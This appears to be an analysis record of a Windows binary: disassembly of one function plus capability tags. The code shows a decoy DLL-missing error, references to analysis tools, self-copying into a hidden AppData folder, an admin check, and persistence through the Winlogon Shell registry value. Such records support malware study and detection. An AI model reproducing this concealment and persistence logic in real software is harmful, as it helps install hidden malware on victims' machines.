Function at 0x14000c080
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get token membership
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x598]
sub rsp, 0x690
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x560], rax
xor edi, edi
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call fcn.140006420
test al, al
je 0x14000c0f6
lea r9d, [rdi + 0x10]
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP140.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [rdi + 1]
jmp 0x14000d65b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
lea r8d, [rax + 0x11]
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0xb0]
call fcn.140008d50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, socket
lea rdx, str.systeminformer.exe
lea rcx, [rbp + 0xd0]
call fcn.140008d50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, recv
lea rdx, str.LpSysLtdS.exe
lea rcx, [rbp + 0xf0]
call fcn.140008d50
nop
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x90]
call fcn.140006d80
nop
lea r9, [fcn.140001cd0]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0xb0]
call fcn.140011378
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
test eax, eax
js 0x14000c2e8
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
lea rax, [rbp + 0x140]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000c230
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x120]
call fcn.140008d50
nop
mov r8d, 0x1b
lea rdx, str.MicrosoftWindowsAppCache
lea rcx, [rbp + 0x120]
call fcn.140007780
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x14000c2c7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c2c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c2c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], di
movups xmmword [rbp + 0x50], xmm6
movups xmmword [rbp + 0x60], xmm7
jmp 0x14000c308
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rdi
xor r8d, r8d
lea rdx, [0x140014450]
lea rcx, [rbp + 0x50]
call fcn.140008d50
nop
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp + 0x350]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c333
mov r8, rbx
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x60]
call fcn.140008d50
nop
lea rcx, [rbp + 0x70]
call fcn.140005b20
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.14000fb60
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x80]
call fcn.14000fb60
nop
lea r8, str.certificate.crt
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.14000fb60
nop
lea r8, str.appInstalled.flag
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.14000fb60
nop
lea rcx, [rbp + 0x10]
call fcn.14000be20
movzx ebx, al
test al, al
jne 0x14000c68f
lea rcx, [rbp + 0x30]
call fcn.14000be20
test al, al
jne 0x14000c68f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea r8, [rbp + 0x70]
lea rdx, str.Certificate_file_not_found._Exiting.
lea rcx, [rsp + 0x60]
call fcn.14000fcf0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x14000c3ff
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400100b0
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000c461
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c45b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c45b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000c4a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c49c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8d6
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000c4f2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d4ab
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000c543
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c53e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d4ff
call fcn.140011690
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000c593
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c58e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d552
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x14000c5e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5a9
call fcn.140011690
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000c628
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5ed
call fcn.140011690
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c679
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d640
call fcn.140011690
nop
lea rcx, [rbp + 0x90]
call fcn.140007e10
mov eax, 1
jmp 0x14000d65b
mov dword [rbp - 0x40], edi
mov dword [rbp - 0x3c], 0
mov word [rbp - 0x38], 0x500
lea rax, [rbp + 0x120]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x3c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000c706
lea r8, [rbp - 0x40]
mov rdx, qword [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000c6f9
mov dword [rbp - 0x40], edi
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x40], 0
je 0x14000cb16
mov dl, 1
lea rcx, [rbp + 0x90]
call fcn.140010480
cmp qword [rbp + 0x60], 0
je 0x14000cae6
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000c754
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000cae6
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test bl, bl
jne 0x14000c7ae
lea rcx, [rbp + 0x30]
call fcn.140010780
test al, al
je 0x14000c7ae
lea rcx, [rbp + 0x10]
call fcn.14000bef0
test al, al
jne 0x14000c7ae
lea rdx, str.Failed_to_create_app_installed_flag.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r9, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x50]
cmp rdx, qword [rbp - 0x70]
jne 0x14000c7fc
mov r8, rdx
test rdx, rdx
je 0x14000c918
sub r9, rcx
movzx eax, word [r9 + rcx]
cmp ax, word [rcx]
jne 0x14000c7fc
add rcx, 2
sub r8, 1
jne 0x14000c7e3
jmp 0x14000c918
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000c839
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000c839
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000c8e4
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000c8dd
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x80]
call fcn.14000b130
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.140010480
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000d463
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d45e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d45e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
cmp rdx, qword [rbp - 0x70]
jne 0x14000c893
test rdx, rdx
je 0x14000c968
sub r8, rcx
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000c893
add rcx, 2
sub rdx, 1
jne 0x14000c950
lea rax, str.SimpleTimeLoggerService
mov qword [rbp + 0x120], rax
lea rax, [0x14000d690]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rdi
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000c893
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rdi
mov qword [rbp + 8], rdi
lea r8d, [rax + 0x2b]
lea rdx, str.Failed_to_start_service_control_dispatcher.
lea rcx, [rbp - 0x10]
call fcn.140009120
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x140]
call fcn.14000d940
nop
cmp qword [rbp + 0x1c8], 0
je 0x14000ca48
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rbp + 0x140]
call fcn.140010280
lea rdx, str._Error:
mov rcx, rax
call fcn.140008640
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140008810]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x148]
call fcn.14000f0e0
lea rcx, [rbp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000c893
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d106
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d106
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test bl, bl
jne 0x14000c893
lea rdx, str.Failed_to_install_certificate.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000c893
cmp qword [rbp + 0x60], 0
je 0x14000d3fb
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000cb4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000d3fb
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r9, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x50]
mov r10, qword [rbp - 0x70]
cmp rdx, r10
jne 0x14000cbb9
mov r8, rdx
test rdx, rdx
je 0x14000d403
sub r9, rcx
nop dword [rax]
movzx eax, word [r9 + rcx]
cmp ax, word [rcx]
jne 0x14000cbb9
add rcx, 2
sub r8, 1
jne 0x14000cba0
jmp 0x14000d403
lea rcx, [rbp + 0x10]
call fcn.14000bef0
test al, al
jne 0x14000ce0d
lea rdx, str.Failed_to_create_app_installed_flag.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000cc2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d1ff
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000cc7f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d253
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000ccd0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d2a7
call fcn.140011690
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000cd20
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d2fa
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x14000cd75
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d351
call fcn.140011690
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000cdb5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cdb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d395
call fcn.140011690
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c679
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d3f4
jmp 0x14000c673
lea r8, [rbp - 0x80]
lea rdx, str.explorer.exe___
lea rcx, [rsp + 0x60]
call fcn.14000fcf0
nop
mov r8d, 1
lea rdx, [0x140015270]
mov rcx, rax
call fcn.140007780
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000ceaa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cea5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cea5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], di
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000d119
mov eax, dword [rbp]
lea eax, [rax*2 + 2]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000d110
lea rdx, str.value_has_been_successfully_updated.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008110
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000cfa3
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000cfa3
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000d096
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000d08f
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0xb0], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000d073
lea rdx, str.Failed_to_create_process._Error:
jmp 0x14000d096
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
